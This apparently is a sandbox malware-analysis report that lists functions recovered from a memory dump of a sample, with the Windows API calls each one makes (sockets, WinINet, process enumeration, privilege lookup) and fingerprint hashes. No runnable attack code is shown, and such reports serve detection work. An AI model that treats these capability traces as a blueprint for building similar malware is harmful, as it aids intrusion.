Opcode Fuzzy Hash: a31c5102999f2b23e891161ef5785ee778d8f11d3baed6c96f57d83687b10b9d
Instruction Fuzzy Hash: E3416F70A00619ABDF25EF54D849BEE7FBAEF88751F00006AF905A6391DB709944CB61

Function 006469AA Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 006469D1
WSAGetLastError.WSOCK32(00000000), ref: 006469E1

Part of subcall function 005D9837: __itow.LIBCMT ref: 005D9862
Part of subcall function 005D9837: __swprintf.LIBCMT ref: 005D98AC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00646A45
WSAGetLastError.WSOCK32(00000000), ref: 00646A51

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: 8540a14f8e2e3e3c958780d1485387072eb619ebb5f60085eca75415c760c48e
Instruction ID: b88cea8d3d4e065d37dc9296ddc545d1889f1457b86f5c1ffaf75a28e44a7a86
Opcode Fuzzy Hash: 8540a14f8e2e3e3c958780d1485387072eb619ebb5f60085eca75415c760c48e
Instruction Fuzzy Hash: BD41B4757402016FEB60BF28DC8AF797BA5AF45B14F04801AFA59AF3C2DA709D408791

Function 0064641A Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,0065F910), ref: 006464A7
_strlen.LIBCMT ref: 006464D9

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 05f1d588c1a2114a653be27024bb49e3f0545cdeb7624ffc8d0d4795cfd1ca91
Instruction ID: ed5f068b3eff14ef0ebabf13906b4bc1b291b5236a6d38675e411395313410cb
Opcode Fuzzy Hash: 05f1d588c1a2114a653be27024bb49e3f0545cdeb7624ffc8d0d4795cfd1ca91
Instruction Fuzzy Hash: 4341C671900105ABCB14FBA8DC99EFEBBAABF45310F14815AF91597392EB30AD04CB51

Function 0063B7F4 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 0063B89E
GetLastError.KERNEL32(?,00000000), ref: 0063B8C4
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 0063B8E9
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 0063B915

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 7b6bb7b4af8fdd92c79e67e39704b30de8e792af7f204e451a3469893d0b53c1
Instruction ID: 4aa9962e9d1bfa834a7c6141097d956740dacfd6d14e703c09273e472d82fb36
Opcode Fuzzy Hash: 7b6bb7b4af8fdd92c79e67e39704b30de8e792af7f204e451a3469893d0b53c1
Instruction Fuzzy Hash: 45411135A00651DFCB21EF19C445A59BBE2FF8A710F15809AED4A9B361CB30FD01DB91

Function 00658851 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 006588DE

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: f281648aab999cf575700321bb269df589a40b8ae636bded1ea63413d26c356f
Instruction ID: 0171e13e19769168e8902f2e488070c359b06c7dca277cfd0f12364b75c26c40
Opcode Fuzzy Hash: f281648aab999cf575700321bb269df589a40b8ae636bded1ea63413d26c356f
Instruction Fuzzy Hash: EF31B234600108EEEB209F5CCC45BF97BA7EB05312F944112FD11F7AA1CA3199489B92

Function 0065AB37 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0065AB60
GetWindowRect.USER32(?,?), ref: 0065ABD6
PtInRect.USER32(?,?,0065C014), ref: 0065ABE6
MessageBeep.USER32(00000000), ref: 0065AC57

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: fc033028c3a2d51f19c6bdb8051890fc3a887e9f368ec907d5bbd1696fd75054
Instruction ID: 784135ba46861cba7974171f94ec65f37b4398ad383340f19f14489e6f87de92
Opcode Fuzzy Hash: fc033028c3a2d51f19c6bdb8051890fc3a887e9f368ec907d5bbd1696fd75054
Instruction Fuzzy Hash: 48416E30600219DFCB12DF98D884BA97BF7FF49312F1892A9E8559B361D730A845CB92

Function 006061C5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 006061FB
__isleadbyte_l.LIBCMT ref: 00606229
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00606257
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0060628D

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 11e5dfc98ed7baa1537e7655a4697a45f9ad3dbf885e2cf2938f244effeeef7d
Instruction ID: ebf006b607573e725991faab7182415847548b6830dcc918626fe337c60df9ed
Opcode Fuzzy Hash: 11e5dfc98ed7baa1537e7655a4697a45f9ad3dbf885e2cf2938f244effeeef7d
Instruction Fuzzy Hash: AB31CF30640246AFDF298F64CC48BBB7BAAFF41310F154068F824872E1E731DA60DB90

Function 00654EEE Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00654F02

Part of subcall function 00633641: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0063365B
Part of subcall function 00633641: GetCurrentThreadId.KERNEL32 ref: 00633662
Part of subcall function 00633641: AttachThreadInput.USER32(00000000,?,00635005), ref: 00633669

GetCaretPos.USER32(?), ref: 00654F13
ClientToScreen.USER32(00000000,?), ref: 00654F4E
GetForegroundWindow.USER32 ref: 00654F54

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 6339e9c9306ec74e293405ed1640e90310a49652cf88d05d024847df75e2df54
Instruction ID: 5cf13cf735a7cbe34c96517c4c2ca1cc757b096e165666634a1d6825413dde4c
Opcode Fuzzy Hash: 6339e9c9306ec74e293405ed1640e90310a49652cf88d05d024847df75e2df54
Instruction Fuzzy Hash: 9E311E71D00209AFDB10EFA9C8859EFBBFDEF99304F10406AE415E7341EA719E458BA1

Function 00633C55 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00633C7A
Process32FirstW.KERNEL32(00000000,?), ref: 00633C88
Process32NextW.KERNEL32(00000000,?), ref: 00633CA8
CloseHandle.KERNEL32(00000000), ref: 00633D52

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 218984dfff927d65c590d26cac65861e528c3f9c394b4a716cad2e64128cef84
Instruction ID: b276fe255718c7fe21d220ef1a48b853f4fe435fe9502532ee4cdd67e630b090
Opcode Fuzzy Hash: 218984dfff927d65c590d26cac65861e528c3f9c394b4a716cad2e64128cef84
Instruction Fuzzy Hash: 75316F711083059FD310EF58D895AAFBBE9BFD9354F50082EF481862A1EB719A49CB92

Function 0065C498 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005D2612: GetWindowLongW.USER32(?,000000EB), ref: 005D2623

GetCursorPos.USER32(?), ref: 0065C4D2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,0060B9AB,?,?,?,?,?), ref: 0065C4E7
GetCursorPos.USER32(?), ref: 0065C534
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,0060B9AB,?,?,?), ref: 0065C56E

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 26f30dc061a2bec92259385cfe37992f04b60117210244f78c4fd9672c63822d
Instruction ID: 3cf35062be8d949ffdd57c94a7df960495241b5bacfcb88e505b084a29598c12
Opcode Fuzzy Hash: 26f30dc061a2bec92259385cfe37992f04b60117210244f78c4fd9672c63822d
Instruction Fuzzy Hash: 69319335500118AFCF26CF98C858EEA7BBBEB49321F044065FD058B361D731AD65DBA4

Function 00628656 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0062810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00628121
Part of subcall function 0062810A: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 0062812B
Part of subcall function 0062810A: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0062813A
Part of subcall function 0062810A: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00628141
Part of subcall function 0062810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00628157

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 006286A3
_memcmp.LIBCMT ref: 006286C6
GetProcessHeap.KERNEL32(00000000,00000000), ref: 006286FC
HeapFree.KERNEL32(00000000), ref: 00628703

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: c5510cae2d438a5303f4db96f62f048f17f7cfbc7eaa918b17e870112e6cb705
Instruction ID: f86e2596abc352a422f2df6dcae2cb77b36a1aa7664e9c6de1e26a5daf7abbf0
Opcode Fuzzy Hash: c5510cae2d438a5303f4db96f62f048f17f7cfbc7eaa918b17e870112e6cb705
Instruction Fuzzy Hash: 10216831A02619EFDB10DFA4DD48BEEB7BAEB60315F148059E805A7240DB30AA05CF50

Function 005F098C Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 005F09AE

Part of subcall function 005D5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00637896,?,?,00000000), ref: 005D5A2C
Part of subcall function 005D5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00637896,?,?,00000000,?,?), ref: 005D5A50

_fprintf.LIBCMT ref: 005F09E5
OutputDebugStringW.KERNEL32(?), ref: 00625DBB

Part of subcall function 005F4AAA: _flsall.LIBCMT ref: 005F4AC3

__setmode.LIBCMT ref: 005F0A1A

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: ec89a454c1399cfa846300696a6f8b7f9e2ca2955ad623008be01fb6114a990b
Instruction ID: ecea298ea1a2086710c377abc50e14582cf1b5d6d946515276906d7167f805fa
Opcode Fuzzy Hash: ec89a454c1399cfa846300696a6f8b7f9e2ca2955ad623008be01fb6114a990b
Instruction Fuzzy Hash: 101108319046096FD714B7B89C4E9FE7F69BFC1310F140016F20597282FE2449425B95

Function 00641767 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 006417A3

Part of subcall function 0064182D: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0064184C
Part of subcall function 0064182D: InternetCloseHandle.WININET(00000000), ref: 006418E9

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 5252346f4334cd9e40d187743c106c3897d1845a65261780f197fd97df25e4df
Instruction ID: 27b4aa60d96d837d69a36c0a4de1293d6b7f7361d79aeed8a82c93570948a60c
Opcode Fuzzy Hash: 5252346f4334cd9e40d187743c106c3897d1845a65261780f197fd97df25e4df
Instruction Fuzzy Hash: 98219F35200605BFEB129F60DC01FBABBEBFF4A711F10402EFA519A650DB71D85197A4

Function 00633A2A Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,0065FAC0), ref: 00633A64
GetLastError.KERNEL32 ref: 00633A73
CreateDirectoryW.KERNEL32(?,00000000), ref: 00633A82
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,0065FAC0), ref: 00633ADF

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: ed225d22c3fa8ab5c2fd8d9550a0f528caa2f64c594efe5707de9bc76709f2d0
Instruction ID: 53040ba7064819bc32b19bc414d3f3f8f9b4b10b17d0621d19cbf5b7deef8428
Opcode Fuzzy Hash: ed225d22c3fa8ab5c2fd8d9550a0f528caa2f64c594efe5707de9bc76709f2d0
Instruction Fuzzy Hash: B52186745083159F8310DF28C8858AABBE5FF59364F104A1EF499C73A1E731DE46CB82

Function 006050E2 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00605101

Part of subcall function 005F571C: __FF_MSGBANNER.LIBCMT ref: 005F5733
Part of subcall function 005F571C: __NMSG_WRITE.LIBCMT ref: 005F573A
Part of subcall function 005F571C: RtlAllocateHeap.NTDLL(00FD0000,00000000,00000001,00000000,?,?,?,005F0DD3,?), ref: 005F575F

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: deb6de0aa6bde1198471fdd77b94bf34b888110d37879fa4ff39ddd3e5b3db3c
Instruction ID: 0432bf74c194243ceb8b3331007790ace86f42670299b9455cf917fd5a12367e
Opcode Fuzzy Hash: deb6de0aa6bde1198471fdd77b94bf34b888110d37879fa4ff39ddd3e5b3db3c
Instruction Fuzzy Hash: 08110A71544A1AAEDF352F70AC0D7BF3B9AAF40361F10096AFA46962D0DE3489418B90

Function 005D44A0 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 005D44CF

Part of subcall function 005D407C: _memset.LIBCMT ref: 005D40FC
Part of subcall function 005D407C: _wcscpy.LIBCMT ref: 005D4150
Part of subcall function 005D407C: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 005D4160

KillTimer.USER32(?,00000001,?,?), ref: 005D4524
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 005D4533
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 0060D4B9

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: bf9a33d99c7ff60a44dce917b8198429d6ee4668e2ef1505366fffdbfe65e795
Instruction ID: 04a3a1747a3d2c85bea672f73bdfd152799254b42acc1820c0ddec767a8ff58b
Opcode Fuzzy Hash: bf9a33d99c7ff60a44dce917b8198429d6ee4668e2ef1505366fffdbfe65e795
Instruction Fuzzy Hash: 8A21F270944784AFE732CB689859BEBBFEDAB05304F04049FE78E56282C3742A84CB41

Function 00646369 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 005D5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00637896,?,?,00000000), ref: 005D5A2C
Part of subcall function 005D5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00637896,?,?,00000000,?,?), ref: 005D5A50

gethostbyname.WSOCK32(?,?,?), ref: 00646399
WSAGetLastError.WSOCK32(00000000), ref: 006463A4
_memmove.LIBCMT ref: 006463D1
inet_ntoa.WSOCK32(?), ref: 006463DC

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 44c46845e42f5c9477902df2c029002829eb643e8ab2390c1dbd71feb0b5269c
Instruction ID: 68aaa6b7f717783c50fc6e736a3ea393b1e775c5230a0b5d2eafc99f94061185
Opcode Fuzzy Hash: 44c46845e42f5c9477902df2c029002829eb643e8ab2390c1dbd71feb0b5269c
Instruction Fuzzy Hash: C911823650010AAFCB10FFA8DD4ACEEBBB9BF45311B144066F506A7261EB30AE04DB61

Function 00628B41 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00628B61
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00628B73
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00628B89
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00628BA4

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: ed36139bb464296789f363ae559bd87114307b135c6e194a8dfbdb6940c55857
Instruction ID: 3a728af23d9b5d3bbb49559af74d7dd46c3584e7b185b8890e708fa768ffc3ad
